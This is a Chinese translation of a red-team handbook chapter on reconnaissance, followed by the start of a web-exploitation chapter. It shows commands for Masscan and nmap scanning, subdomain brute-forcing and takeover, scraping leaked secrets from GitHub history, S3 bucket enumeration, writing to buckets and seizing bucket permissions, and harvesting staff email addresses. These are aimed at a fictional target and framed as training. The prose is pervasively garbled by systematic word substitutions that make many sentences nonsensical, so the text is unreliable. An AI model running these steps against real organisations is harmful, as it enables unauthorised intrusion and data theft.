构建一个比默许的 nmap 更好的端口列表(举例,nmap 默许的漏掉一些端口,比如 Redis 6379/6380 和其他端口) 斥逐 nmap banner 保持对端口的历史追踪 建立电子邮件提醒/文牍系统 参考 diff Slack 警报 Web 应用步调监控除了如期扫描怒放的端口和劳动之外,红队还应该监视不同的 Web 应用步调,这一丝很浩瀚。咱们可以使用以下两个器具来匡助监视应用步调的变化。
咱们常用的第一个器具是 HTTPScreenshot 。HTTPScreenshot 很坚强的原因是它使用 Masscan 快速扫描大型蚁集,并使用 phantomjs 捕捉它检测到的任何网站的屏幕截图。这是快速得回大的内网或外网布局架构的一个好方法。
请记着,本书中的扫数器具齐是在上一版改进的 Kali 臆造机中运行的。你可以在这里找到臆造机。 用户名密码是默许的:root/toor。
cd /opt/httpscreenshot/ 剪辑 networks.txt 文献来采纳你想扫描的蚁集: gedit networks.txt ./masshttp.sh firefox clusters.html另一个可以用到的器具是 Eyewitness。
Eyewitness 是另一个很好的器具,它用 XML 文献的方式输出 nmap 的扫描结果、获取到的 Web 页面截图、RDP 劳动器信息以及 VNC 劳动器信息,。
实验:
cd /opt/EyeWitness nmap [IP Range]/24 —open -p 80,443 -oX scan.xml python ./EyeWitness.py -x scan.xml —web 云扫描随着越来越多的公司转向使用不同的云基础设施,一些围绕云劳动的新式障碍和传统障碍逐渐形成。这日常是由于公司诞妄的成立和发愤对云基础设施上群众要求的确切了解。非论是采纳亚马逊 EC2、Azure、谷歌云照旧其他云劳动提供商,使用不同的云基础设施齐已成为一种全球趋势。
对于红队队员来说,一个问题是如安在不同的云环境中进行探索。由于许多主义公司使用动态 IP,他们的劳动器可能不仅变化很快,而且也不在云提供商的某个列表中列出。举例,如果你使用 AWS,它们在全寰宇范围内领有巨大的范围。根据你采纳的区域,你的劳动器将随机放入一个大的范围。对于外东说念主来说,发现并监控这些劳动器并阻止易。
最先,很浩瀚的一丝是要弄真切不同提供者领有的 IP 范围。其中一些例子是:
Amazon IP 范围 Azure IP 范围 谷歌云 IP 范围可以看出,这些范围相称大,手动扫描相称困难。在本章中,咱们将谋划如何获取这些云系统上的信息。
蚁集和劳动的搜索引擎要寻找云劳动器,互联网上有许多免费的资源,可以对咱们的主义进行窥探。咱们可以使用谷歌和第三方扫描劳动。使用这些资源,咱们可以深入了解一家公司,成功地查找对于劳动器、怒放劳动、banner 和其他细节的信息。而主义公司永远不会知说念你通过查询获取了这类信息。让咱们望望如何作为红队使用这些资源。
ShodanShodan 是一个伟大的蚁集劳动,它如期扫描互联网,抓取 banners、端口、蚁集信息等等。他们以至会扫描到疏忽信息,如腹黑滴血疏忽。Shodan 最兴趣的用途之一是浏览怒放式蚁集录像头并使用它们。从红队的角度来看,咱们想要找到对于主义受害者的信息。
一些基本的搜索查询:
title: 搜索从 HTML 标记中索要的内容 html: 搜索复返页面的完整 HTML 内容 product: 搜索 banner 中象征的软件或家具的称号 net: 搜索一个指定的网段(举例:204.51.94.79/18)咱们可以在 Shodan 上搜索 cyberspacekittens 网站:
cyberspacekittens.com 使用 HTML 的 title 标签进行搜索 title:cyberspacekittens 搜索页面内容 html:cyberspacekittens.com请扎眼,我不雅察到 Shodan 的扫描有点慢。Shodan 花了超过一个月的时辰才扫描完我添加的扫描任务,并将扫瞄结果放入 Shodan 数据库。
Censys.ioCensys.io 持续监控 Internet 上的每一台可造访的劳动器和设备,以便你可以实时搜索和分析它们。通过 Censys 你能够了解你的蚁集障碍面,发现新的挟制,并评估其全球影响。
Censys 的最好秉性之一是它从 SSL 证书中索要信息。日常,红队队员的主要困难之一是找到主义劳动器在云劳动器上的位置。红运的是,咱们可以使用 Censys.io 来查找这些信息,因为他们还是解析了这些数据
这些扫描的一个问题是它们可能会延长几天或几周。在这种情况下,需要用一天的时辰来扫描标题信息。另外,在我的站点上创建 SSL 证书之后,信息在 Censys.io 站点上骄贵破耗了四天时辰。然则在数据准确性方面,Censys.io 绝顶可靠。
底下,咱们通过扫描找到主义网站 cyberspacekittens.com 的信息。通过解析劳动器的 SSL 证书,咱们能够细目受害者的劳动器托管在 AWS 上。
还有一个 Censys剧本器具,可以通过剧本的方式来进行查询。
手动解析 SSL 证书咱们发现,许多公司莫得意志到他们在互联网上透露的东西。特别是随着云劳动使用量的加多,许多公司莫得正确地成立安全的造访收敛列表。他们相信他们的劳动器是受保护的,但咱们可以发现他们是透露在互联网上的。包括 Redis 数据库、Jenkin 劳动器、Tomcat 管制、NoSQL 数据库等等——其中许多可以导致长途代码践诺以致利益亏本。
找到这些云劳动器的减弱而又不为东说念主知的方法是在蚁集上以自动化的方式手动扫描 SSL 证书。咱们可以获取云劳动提供商的 IP 范围列表,并如期扫描扫数这些列表以索要 SSL 证书。通过观望 SSL 证书,咱们可以了解关系主义公司的大批信息。从底下对 cyberspacekittens 范围的扫描中,咱们可以看到 .int 证书中的主机名。对于里面劳动器,.dev. 用于开发, vpn.用于 VPN 劳动器等。许多时候你会在结果中看到一些莫得对应公网 IP 的里面主机名或者一些他们里面信任的白名单网段。
为了匡助扫描证书中的主机名,我为本书开发了 sslScrape。这个器具应用 Masscan 快速扫描大型蚁集。一朝它识别到443端口的劳动,它就会在 SSL 证书中索要主机名。
sslScrape
cd /opt/sslScrape python ./sslScrape.py [IP 地址 CIDR 范围]云 IP 地址的例子:
Amazon: Azure: Google Cloud:在本书中,我会尝试提供一些代码示例和一个初步的步调框架。关联词,是否在示例和驱动框架的基础上进一步学习这取决于你我方。我激烈建议你从这段代码(也即是 sslScrape 的源码)开首,试着将扫数得回的主机名保存到一个数据库里,再作念一个 Web UI 前端作为展示页面。然后去结合其他可能有证书的端口,比如 8443 端口,这样可以从证书中获取主机的信息。以至可以加上扫描 .git 或者 .svn 等源码信息露出的功能。
译者注: .git/.svn 源码信息露出,可以参考:https://www.secpulse.com/archives/55286.html 进行清醒。
子域名发现在识别 IP 范围方面,咱们日常可以从区域互联网注册管制机构这样的群众资源来查找某个公司。比如好意思洲互联网号码注册管制机构(American Registry for Internet Numbers,ARIN)管制北好意思和部分加勒比地区事务,网址为 https://www.arin.net/ 。咱们可以查找 IP 地址的领有者、某个公司的蚁集、组织的自治系统编号等等。如果咱们要看北好意思之外的地区,咱们可以通过 AFRINIC(非洲)、APNIC(亚洲)、LACNIC(拉丁好意思洲)和 RIPE NCC(欧洲)查找。这些齐是公开可用的,并在其劳动器上列出。
你可以通过许多可用的群众源查找任何主机名或 FQDN 以找到该域的扫数者(我最心爱的快速查找域名扫数者的网站是 https://centralops.net/co/domaindossier.aspx )。然则子域名就很难征集。因为子域名并不是在某些公开注册系统上聚拢注册的,而是存储在主义的 DNS 劳动器上。你必应知说念要怎样搜索才能找到有用的子域名。
为什么子域名对于你的障碍主义如斯浩瀚?有几个原因:
一些子域可以表明它是什么类型的劳动器(即 dev、vpn、mail、internal、test)。举例, mail.cyberspacekittens.com。 一些网站劳动器无法通过 IP 去造访,也即是多个劳动器分享一个出口 IP 的情况。这些劳动器可能位于分享的基础设施上(比如 virtual host),如果你要造访这些网站,就只可通过域名去造访。这样的情况在云基础架构中非通常见。这种情况下,如果你使用 nmap 扫描这个 IP,只可得到主机的端口怒放信息,不成进一步获取更多的 Web 指纹,必须要使用对应的子域名来造访站点,然后使用雷同于 WhatWeb 的器具来得回 Web 指纹。 采集子域名可以得回主义在哪托管他们劳动器的信息。这是通过找出主义全部子域名、针春联域名反向查询 IP 以及查询托管 IP 的地点来完成。一家公司可能会使用多个云劳动提供商和数据中心来托管他们的劳动器。在上一册书(The hacker playbook第二版)中咱们讲了许多用于子域名采集的器具,因此让咱们回顾一些当前仍然可用的器具的和一些新器具,来更好的进行子域名采集。迎接扫描 cyberspacekittens.com 域名!
Discover Scripts上一册书里面有计划的 Discover Scripts 器具仍然是我最心爱的子域名采集器具之一。因为它结合了Kali Linux 上的扫数的子域名窥探器具,并如期进行重视更新。被迫信息采集将应用下列扫数的器具: Passive uses ARIN, dnsrecon, goofile, goog-mail, goohost, theHarvester, Metasploit, URLCrazy, Whois, multiple websites and recon-ng.
Discover Scripts 最棒的地点在于,它基于已采集到的信息滚雪球式搜索。 举例,通过对公开的 PGP 仓库进行搜索,它可能会识别电子邮件,然后使用这些信息络续在 Have I Been Pwned 网站进行搜索(通过 Recon-NG 器具)。这将让咱们知说念是否可以通过公开发布的数据露出危害找到一些泄浮现的密码。
KNOCK接下来,咱们但愿了解公司可能使用的扫数劳动器和域名。尽管莫得存储子域的中心位置,但咱们可以使用 Knock 等器具暴力破解不同的子域名,来识别哪些劳动器或主机可以障碍。
Knockpy 是一个 python 器具,它通过一个 wordlist 来胪列主义域中的子域名。
Knock 是一个很好的子域名扫描器具,它生成一个子域名列表,并检查这些生成的子域名是否可以解析。因此,如果你想扫描 cyberspacekittens.com, Knock 将使用 此 wordlist,并观望 [subdomain].cyberspacekittens.com 是否有任何子域。在此要扎眼的一丝是,更好的 wordlist 会加多找到子域名的契机。
我最心爱的一个子域名字典是由 jhaddix 创建的(点此观望)。子域名字典是你应该持续采集的东西之一。其他一些好的子域名字典可以在你的 THP Kali 镜像的 /opt/SecLists 文献夹下找到或者在 这里 找到。
译者注:The Hacker Playbook Kali 镜像在本书的第一章的【本章总结】里面有先容,是本书作家专门针对于本书中的实验创建的基于 Kali Linux 况兼添加了扫数器具的完整版臆造机(点此获取)。
实验:征集 cyberspacekittens.com 的扫数子域名。
cd /opt/knock/knockpy python ./knockpy.py cyberspacekittens.com 这将使用 Knock 中内置的基础子域名字典。尝试下载并使用更大的子域名字典。使用-u参数切换到 字典。即:你从 Discover Scripts 中发现了哪些类型的互异?什么类型的域将是你的第一个障碍主义,或与垂纶式域障碍一说念使用?去现实寰宇试试吧!去找一个 bug 赏金步调,并寻找丰富的子域。
Sublist3r正如前边提到的,Knock 的问题是,它严重的依赖字典的质地。有些公司有相称特别的子域名,无法通过通用的子域名字典找到。下一个最好的资源是搜索引擎。当网站被爬虫爬行时,带有连气儿的文献会被分析并被采集到公开的资源,这意味着咱们可以使用搜索引擎为咱们作念子域名采集的责任。
在这种情况下,咱们可以借助 Sublist3r 这样的器具。扎眼,这种器具使用不同的 “google dork” 作风的查询语句进行搜索,容易被谷歌东说念主机检查识别成机器东说念主。这可能会使你暂时被列入黑名单,并要求你为每个苦求填写验证码,这可能会收敛扫描的结果。
运行 Sublist3r:
译者注:原书这里存在笔误,作家写成了 To run Sublister,但执行上应该是 To run Sublist3r.
cd /opt/Sublist3r python sublist3r.py -d cyberspacekittens.com -o cyberspacekittens.com望望 Sublist3r 跑出来的结果,跟用子域名暴力破解出的结果对比一下,是不是有一些之前没发现的?同样的,再次针对一个 bug 赏金样子尝试 Sublist3r 方法来采集子域名,对比感受暴力破解和使用搜索引擎之间的显赫区别。
Sublist3r 有一个分支版块,这个分支版块包含额外的秉性(特别是子域名劫持的检查): https://github.com/Plazmaz/Sublist3r
SubBrute临了一个要先容的子域名采集器具是 SubBrute。SubBrute 是一个社区样子,主义是创建最快、最准确的子域胪列器具。SubBrute 背后的神奇之处在于,它使用怒放的解析器作为代理来绕过 DNS 速率收敛( https://www.us-cert.gov/ncas/alerts/TA13-088A )。这种瞎想还提供了一层匿名性,因为 SubBrute 不径直向主义的域名劳动器发送流量。
SubBrute 不仅速率相称快,它还践诺 DNS 爬虫功能,爬取胪列的 DNS 纪录。
运行 SubBrute:
咱们还可以将 SubBrute 的性能耕作一下,将其与 MassDNS 结合,以践诺相称高性能的 DNS 解析。
GithubGithub 是一个有惊东说念主数据的宝库。在一些渗入测试和红队评估中,咱们能够得回密码,API 密钥,旧的源代码,里面主机名/ IPs 以及更多。这些要么导致径直障碍消一火,要么匡助发动另一场障碍。咱们看到的是,许多开发东说念主员要么将代码保存到诞妄的仓库(将其发送到他们的公开仓库而不是公司的独到仓库),要么无意地保存明锐数据(如密码),然后试图删除它。Github 的一个优点是,它可以在每次修改或删除代码时进行纪录。这意味着如果有一次将明锐数据保存到仓库中,那么即使删除了该明锐数据,那么它仍然会在数据调动中被纪录。只须仓库是公开的,你就能够观望扫数这些调动。
咱们可以使用 Github 搜索来识别某些主机名/组织名,或者以至只是使用毛糙的 Google Dork 搜索,举例:
site:github.com + “cyberspacekittens”尝试使用不同的方法搜索 bug 赏金步调,而不是只是搜索 cyberspacekittens。
通过你扫数的搜索,你会遭遇: https://github.com/cyberspacekittens/dnscat2 (为 GitHub 实验准备的修悛改的示例)。你可以手动检索这个仓库,但日常它相称大,你很难遍历扫数的样子来找到一些兴趣的东西。
如前所述,当你在 Github 中剪辑或删除文献时,一切齐会被追踪纪录。对于红队队员来说,红运的是,许多东说念主健忘了这个秉性。因此,咱们通常看到东说念主们把明锐信息放到 Github 中,然后删除,却莫得意志到它还在那里!让咱们望望能不成找到这些张含韵。
Truffle HogTruffle Hog器具会扫描不同的提交历史纪录和分支来获取高秘籍的密钥,并输出它们。这对于查找秘籍数据、密码、密钥等相称有用。让咱们望望能否在 cyberspacekittens 的 Github 仓库中找到一些明锐的数据。
实验:
cd /opt/trufflehog/truffleHog python truffleHog.py https://github.com/cyberspacekittens/dnscat2正如咱们在 commit 历史纪录中看到的,AWS 密钥和 SSH 密钥被从 server/controller/csk.config 文献中删除了。然则如果观望当前仓库,你找不到这个文献。
更好的接济(然则接济起来有点复杂)是 git-all-secrets。在观望大型样子时,Git-all-secrets 相称有用。你只需指定某个样子并在腹地克隆该样子代码,然后使用 Truffle-hog 和 repo-supervisor 扫描它。在此之前你需要创建一个 Github 造访令牌,令牌是免费的,通过创建一个 Github 并在接济中采纳 Generate New Token 选项来生成。
运行 git-all-secrets:
cd /opt/git-all-secrets docker run -it abhartiya/tools_gitallsecrets:v3 -repoURL=https://github.com/cyberspacekittens/dnscat2 -token=[API Key] - output=results.txt 这将克隆仓库并开首扫描。你以至可以使用-org参数跑完该组织在 Github 上的扫数内容。 容器(container)运行完成后,输入以下呐喊检索容器 ID: 有了容器 ID 后,就可以输入以下呐喊将结果文献逍遥器(container)发送到主机: Cloud正如咱们前边所说的,cloud 是咱们看到的许多公司有不安全环境成立的一个领域。最常见的一些问题是:
Amazon S3 Missing Buckets: https://hackerone.com/reports/121461 Amazon S3 Bucket Permissions: https://hackerone.com/reports/128088 Being able to list and write files to public AWS buckets: aws s3 ls s3://[bucketname] aws s3 mv test.txt s3://[bucketname] Lack of Logging在开首测试不同的 AWS 存储桶上的诞妄成立之前,咱们需要最先发现它们。咱们将尝试一些不同的器具,望望咱们能在受害者的 AWS 基础设施上发现什么。
S3 Bucket Enumeration(S3 存储桶 胪列)有许多器具可以为 AWS 践诺 S3 bucket 胪列 。这些器具日常应用错误字或列表,应用多种排列,然后尝试去发现不同的 bucket。举例,咱们可以使用一个名为 Slurp 的器具来查找对于主义 CyberSpaceKittens 的信息:
cd /opt/slurp ./slurp domain -t cyberspacekittens.com ./slurp keyword -t cyberspacekittens Bucket Finder另一个器具 Bucket Finder 不仅会尝试查找不同的 bucket,还会从这些 bucket 中下载扫数的内容进行分析:
wget https://digi.ninja/files/bucket_finder_1.1.tar.bz2 -O bucket_finder_1.1.tar.bz2 cd /opt/bucket_finder ./bucket_finder.rb —region us my_words —download你一直在基于 Cyber Space Kittens 的基础设施进行搜寻,并发现了他们的一个 S3 bucket( cyberspacekittens.s3.amazonaws.com )。在 S3 bucket 中检索可见的和不可见的内容时,你的第一步要作念什么呢?你可以最先把它弹到浏览器中来看一些信息:
在开首之前,咱们需要创建一个 AWS 帐户来得回一个造访密钥 ID。你可以在 Amazon 免费创建你的帐户。创建帐户后,登录 AWS,转到你的安全凭证,然后转到造访密钥。一朝你有了 AWS Access ID 和密钥,咱们就可以查询 S3 bucket 了。
查询 S3 并下载一切内容:
下载 awscli: sudo apt install awscli 成立凭证: aws configure 观望 CyberSpaceKittens 的 S3 bucket 的权限: aws s3api get-bucket-acl --bucket cyberspacekittens 从 S3 Bucket 中读取文献: aws s3 ls s3://cyberspacekittens 下载存在 S3 Bucket 中的扫数内容: aws s3 sync s3://cyberspacekittens除了查询 S3 之外,接下来要测试的是写入该 bucket。如果咱们有写的权限,可能就可以对它们的应用步调完成 RCE(长途呐喊践诺)。咱们通常看到,当 S3 bucket 上存储的文献被用于它们的扫数页面时(况兼如果咱们可以修改这些文献),那么咱们就可以将坏心代码放到它们的 Web 应用劳动器上。
写入 S3:
扎眼,write 已被从 Everyone 组中删除。这只是为了示范。
修改 AWS Buckets 中的造访收敛在分析 AWS 的安全性时,咱们需要检查对于对象和 bucket 的权限收敛。对象是单独的文献,bucket 是存储的逻辑单位。如果成立不正确,任何用户齐可能修改这些权限。
最先,咱们可以观望每个对象来判断这些权限是否成立正确:
aws s3api get-object-acl —bucket cyberspacekittens —key ignore.txt咱们可以看到唯惟一个名叫 “secure” 的用户对该文献有写的权限。文献不是对扫数东说念主怒放的。如果咱们有写的权限,就可以使用 s3api 中的put对象来修改该文献。
接下来,咱们望望是否可以修改这些 bucket 自身。这可以通过以下呐喊来完成:
aws s3api get-bucket-acl —bucket cyberspacekittens同样,在这两种情况下,读权限齐是全局允许的,然则完全收敛或任何写入的权限唯独名为 “secure” 的帐户才有。如果咱们可以进入 bucket,那么咱们可以使用—grant-full-control来赋予咱们我方对 bucket 和对象的完全收敛权限。
资源:
https://labs.detectify.com/2017/07/13/a-deep-dive-into-aws-s3-access-controls-taking-full-control-over-your-assets/ 子域名劫持子域名劫持是一个常见的疏忽,如今咱们险些可以从每一个公司看到这个疏忽。如果一个公司使用用一些第三方 CMS/内容/云提供商,并将它们的子域名指向这些平台,那么就有可能发生子域名劫持疏忽。如果公司健忘成立第三方劳动或从该劳动器刊出,障碍者就可以使用第三方来劫持该主机名。
举个例子,你使用 testlab.s3.amazonaws.com 这个域名注册了一个 S3 Amazon Bucket。然后,你让你公司的子域名 testlab.company.com 指向了 testlab.s3.amazonaws.com。一年后,你不再需要 testlab.s3.amazonaws.com 这个 S3 bucket 并刊出了它,然则健忘了 testlab.company.com 的 CNAME 重定向。现在,一些东说念主可以去 AWS 搭建 testlab.s3.amazon.com,并在受害者的域中有一个有用的 S3 bucket。
一个检查子域名疏忽的器具叫作念tko-subs。咱们可以用这个器具来检查是否有任何咱们找到的子域名指向了一个 CMS 提供商(Heroku, Github, Shopify, Amazon S3, Amazon CloudFront 等),这样该子域名可能可以被劫持。
运行 tko-subs:
如果咱们找到了一个吊挂纪录,咱们可以使用 tko-subs 来劫持 Github 页面和 Heroku 应用步调。不然,咱们将不得不手工操作。
译者注: dagling CNAME, 即为 dangling DNS record,简称 Dare, 一般翻译为吊挂纪录。这类 DNS 纪录指向的资源无效,但纪录自身尚未从 DNS 根除,障碍者可以借此斥逐 DNS 劫持。 拓展阅读:Understanding the Security Threats of Dangling DNS Records
另外两个可以匡助域名劫持的器具是:
HostileSubBruteforcer autoSubTakeover想了解更多对于AWS疏忽的信息吗?一个很棒的的 CTF AWS 演练 ->
电子邮件扫数的社会工程学障碍的一个浩瀚部分齐是查找 email 地址和职工姓名。咱们在前几节中使用了 Discover Script 器具,它相称适合用来采集这些数据。我个东说念主日常从 Discover Script 开首,并用其他器具进行深入挖掘。每种器具的功能略有不同,尽可能多地使用自动化进程是有益的。
一朝你得到了一个小的 email 列表,最好去了解他们的 email 样子。是名.姓氏@cyberspacekitten.com这样的样子吗?照旧名的第一个字母.姓氏@cyberspacekittens.com这样的?一朝你弄真切了他们的样子,咱们就可以使用像 LinkedIn 这样的器具来寻找更多的职工,并尝试找到他们的 email 地址。
SimplyEmail咱们齐知说念鱼叉式蚁集垂纶仍然是比较成功的障碍妙技之一。如果咱们莫得找到任何外部疏忽,那么下一步即是障碍用户。要建立一个好的 email 地址列表,咱们可以使用像 SimplyEmail 这样的器具。此器具的作用是可以输出公司的 email 地址样子和有用用户列表。
实验:找出 cnn.com 的扫数 email 帐户。
cd /opt/SimplyEmail ./SimplyEmail.py -all -v -e cyberspacekittens.com firefox cyberspacekittens.com<date_time>/Email_List.html这可能需要很永劫辰来运行,因为它检查 Bing、Yahoo、Google、Ask Search、PGP 仓库、文献等等。这也可能让你的蚁集被搜索引擎们识别成机器东说念主。况兼如果你产生了太多的搜索苦求,那么可能需要填写验证码。
针对你我方的公司进行此操作。你看到任何你可以识别的 email 地址了吗?这可能是可以在一个大鸿沟红队行为中被设为靶子的第一个 email 地址。
昔时的违章行动(email 信息露出)获取 email 帐户的最好方法之一是持续监控和捕捉昔时的违章行动。我不想径直连气儿到违章文献,但我给出一些我认为有用的参考:
1.4 亿密码露出(2017年): https://thehackernews.com/2017/12/data-breach-password-list.html Adobe 信息露出(2013年): https://nakedsecurity.sophos.com/2013/11/04/anatomy-of-a-password-disaster-adobes-giant-sized-cryptographic-blunder/ Pastebin Dumps: Exploit.In Dump Pastebin 的 Google Dork: site:pastebin.com intext:cyberspacekittens.com 额外的开源资源我不知说念该把这些资源放在那儿,但我想提供一个用于红队行为的额外的优秀资源蚁合。它可以匡助识别东说念主、位置、域名信息、应酬媒体、图像分析等。
OSINT 连气儿书册: https://github.com/IVMachiavelli/OSINT_Team_Links OSINT 框架:译者注: 公开资源谍报运筹帷幄(Open source intelligence),简称OSINT,是好意思国中央谍报局(CIA)的一种谍报征集妙技,从各式公开的信息资源中寻找和获取有价值的谍报。
本章总结
在这一章中,咱们学习了各式不同的窥探战术和窥探器具。这只是一个开首,因为这些时期许多齐是手工的,况兼需要大批的时辰来践诺。这取决于你我方是否能提高我方的功力,自动化使用扫数这些器具,并使窥探责任快速和高效。
第3章 抛传——Web 应用步调疏忽应用
在昔时几年中,咱们看到了一些严重的、面向外部蚁集的 Web 障碍。从 Apache Struts 2开发框架疏忽(尽管 Equifax 公司因 Apache Struts 2安全疏忽而形成数据露出还未被证据),到好意思国快餐公司 Panera Bread 数据露出,到 Uber 信息露出,障碍险些波及了社会上的一切。毫无疑问,咱们还会络续看到许多严重的面向公网的端点障碍。
通盘安全行业以周期性模式运行。如果从 OSI 模子的不同层级来看,就会发现障碍每隔一年就会蜕变到不同的层。就 Web 而言,早在21世纪初,就有大批的 SQLi 和 RFI 类型的疏忽应用事件。关联词,一朝公司开首加强其外部蚁集环境并开首进行外部渗入测试,咱们作为障碍者,就要转而针对“第8层”障碍 —— 将社会工程学障碍(蚁集垂纶)作为第一切入点。现在,正如咱们看到的,各个组织通过新一代终局防护/防火墙来提高其里面安全性,是以咱们的重心又转回了应用步调的疏忽应用。咱们还看到应用步调、API 和编程语言的复杂性大幅加多,使得许多旧的以至是新的疏忽从头出现。
由于本书更多地针对红队行动的倡导,因此咱们不会深入研究扫数不同的 Web 疏忽或是如何手动应用它们。这本书并不是一册字典类型的参考器具书。你将关注的是红队队员和坏东说念主在现实寰宇中所能看到的疏忽,举例那些危害到 PII(个东说念主验证信息)、IP、蚁集等的疏忽。 对于那些正在寻找相称详备的 Web 渗入测试方法的东说念主,我老是建议从 OWASP 测试指南开首( 和 https://www.owasp.org/images/1/19/OTGv4.pdf )。
请扎眼,由于在上本书中提到的许多障碍齐莫得改变,因此咱们不会在之后的老到中重迭 SQLMap、IDOR 障碍和 CSRF 疏忽等示例。相背,咱们将专注于新的错误问题。
疏忽赏金平台在咱们开首学习如何应用 Web 应用步调疏忽之前,让咱们先谈谈疏忽赏金平台。咱们见到的最常见的问题是,“我怎样才能在完成进修后络续学习?”最好的建议是针对真实的上线了的系统进行老到。你可以一直作念靶场进修,但如果莫得真实的入侵教导,就很难成长。
但有一丝需要扎眼:平均而言,在你开首络续发现疏忽之前,需要大要3-6个月的千里淀时辰。咱们的建议是:不要感到颓唐,与其他疏忽赏金猎东说念主保持交流,而且不要健忘可以去望望老一丝的疏忽赏金样子。
比较常见的疏忽赏金平台是 HackerOne,BugCrowd 和 SynAck。还有许多其他的平台。这些平台可以支付从零到两万好意思元以上之间的奖励。
我的许多学生合计开首寻找疏忽是件令东说念主除掉却步的事情。这的确需要你参预其中,每天花几个小时作念这件事情,并专注于清醒如何应用第六感找到疏忽。一般来说,开首的时候可以望望无酬金的疏忽赏金样子(因为专科的赏金猎东说念主不会扎眼它们)或像 Yahoo 这样大型的老疏忽赏金样子。这些类型的站点往往具有很大的鸿沟和许多留传的旧劳动器。正如在以前的书中提到的,细目测试范围很浩瀚,寻找赏金疏忽也不例外。许多平台齐指定了哪些可以作念,哪些不可以作念(比如禁止扫描、禁止自动化器具、哪些域名可以被障碍等)。有时你很红运,他们允许你测试 *.company.com,但其他时候可能仅限于一个 FQDN(完全收敛的域名)。
让咱们以 eBay 为例,他们有一个公开的疏忽赏金平台。在他们的疏忽赏金平台上,他们说明了造穴指南、相宜条件的域名、相宜条件的疏忽、不包括的样子、如何呈报疏忽和白帽子公开致谢:
如何向公司呈报疏忽日常与寻找疏忽自身同样浩瀚。你要确保向公司提供尽可能多的细节。这将包括疏忽的类型、严重性/错误性、应用疏忽所采取的智商、屏幕截图,以至用到的 POC(proof of concept)。如果你需要一些匡助来创建作风融合的呈报,可以观望和使用底下的呈报生成表单: https://buer.haus/breport/index.php 。
我以前有运营我方疏忽赏金平台,有一件事需要扎眼的是,我在平台上看到了一些情况,研究东说念主员会在验证疏忽时过于深入主义系统(超过了正常验证疏忽的范围)。举例包括在发现 SQL 注入后对数据库拖库,在接收子域后挂黑页填写他们认为兴趣的内容,以至在驱动长途代码践诺疏忽之后在坐蓐环境中横向渗入。这些案例可能会导致法律问题,并有可能让联邦观看局找上门来。因此,请你最好严慎判断,证据好测试范围,并记着,如果直觉合计它是作恶的,那么它可能即是作恶的。
蚁集障碍先容——Cyber Space Kittens在完成窥探和发现之后,你回顾扫数你发现的不同站点。浏览结果时,你莫得发现常见的可进行疏忽应用的劳动器或成立诞妄的应用步调。莫得任何 Apache Tomcat 劳动器或 Heartbleed/ShellShock,看起来他们修补了扫数 Apache Strut 问题和 CMS 应用步调疏忽。
你的第六感直觉开首阐述作用,你开首研究他们的客户救助系统。嗅觉有些地点即是不合劲,然则在那儿呢?
对于本章中的扫数障碍,齐可以使用一个本书定制的 VMWare 臆造机来复现这些实验。这个臆造机可以在以下网站免费下载:
?type=csk-web为搭建演示 Web 实验环境(客户救助系统):
从以下位置下载本书的 VMWare 臆造机:
?type=csk-web下载在实验环境里要用到的完整呐喊列表:
https://github.com/cheetz/THP-ChatSupportSystem/blob/master/lab.txt
Bit.ly 连气儿:
启动并登录 VM(臆造机)
当 VM 完全启动时,它应该骄贵应用步调确当前 IP 地址。你无需登录进 VM,是以登录密码也不需要。你可以自行入侵这个步调。
由于这是一个托管在你我方系统上的 Web 应用步调,因此咱们在障碍端 Kali 系统上创建一个主机名纪录:
在咱们的障碍端 Kali 臆造机上,让咱们剪辑 host 文献以指向咱们的存在疏忽的应用步调(客户救助系统),以便可以通过 hostname 和 IP 来援用应用步调: gedit /etc/hosts 添加客户救助系统臆造机的 IP [客户救助系统的 IP]chat 现在,打开 Kali 的浏览器并造访 :3000/ 。如果一切正常,你应该能够看到 NodeJS 自界说的客户救助系统步调。Web 部分的呐喊和障碍可能相称冗长和复杂。为了浅显起见,我在这里列出了每个实验需要的扫数呐喊:https://github.com/cheetz/THP-ChatSupportSystem/blob/master/lab.txt
译者注:译者在尝试复现此实验时,发现莫得获取到 ipv4 地址,其后切换了一下网卡接济,把“桥接模式”改成 NAT 就惩办了。如果有读者遭遇一样的问题可以参考此作念法。参考贵府:https://github.com/cheetz/THP-ChatSupportSystem/issues/1
红队的 Web 应用步调障碍前两本书难得于如何有用地测试 Web 应用步调 - 这一次会有所不同。咱们将跳过许多基本障碍,并交易现实寰宇中使用的障碍手法。
由于这是一册实用性较强的书,是以咱们不会详备谋划 Web 应用步调测试的扫数时期细节。关联词,这并不虞味着这些细节应该被忽略。Web 应用步调测试的一个很好的资源是 Open Web Application Security Project,简称 OWASP。OWASP 侧重于应用步调的安全开发和用户进修。每隔几年,OWASP 齐会编制并发布一个最常见疏忽的清单—— 。一个更深头绪的测试指南位于这里: 。OWASP 的文档将带你了解要查找的疏忽类型、风险以及如何应用它们。这里有一个很好的清单文档: 。
由于我的许多读者齐试图进入安全领域,是以我想快速的提一件事:如果你想进行渗入测试责任,你至少要清醒 OWASP Top 10 的方方面面,这是至关浩瀚的。你不仅应该知说念它们是什么,而且还应该根据风险类型以及如何检测它们了解一些好的示例。现在,让咱们回到如何入侵 CSK 上来 。
聊天救助系统实验将被障碍的聊天救助系统是交互式的,它隆起了新的和旧的疏忽。正如你将看到的,对于以下许多实验,咱们会提供不同版块的带有聊天救助系统的自界说臆造机。
应用步调自身是用 Node.js 编写的。为什么采纳 Node?作为渗入测试东说念主员,咱们要扎眼的是,它是使用率增长最快的应用步调之一。由于许多开发东说念主员似乎齐相称心爱 Node,是以我合计清醒将 JavaScript 作为后端代码运行的安全含义是很浩瀚的。
什么是 Node?
“Node.js® 是一个基于 Chrome V8引擎的 JavaScript 运行环境。Node.js 使用了一个事件驱动、非阻拦式 I/O 的模子,使其轻量又高效。”Node.js 的包生态系统,即 NPM,是寰宇上最大的开源库生态系统。
在最基本的层面上,Node.js 允许你在浏览器之外运行 JavaScript。由于 Node.js 具有精简,快速和跨平台的秉性,是以它可以通过融合堆栈来大大简化样子。天然 Node.js 不是 Web 劳动器,但它允许劳动器(可以用 JavaScript 编程的东西)存在于执行 Web 客户端之外的环境中。
优点:
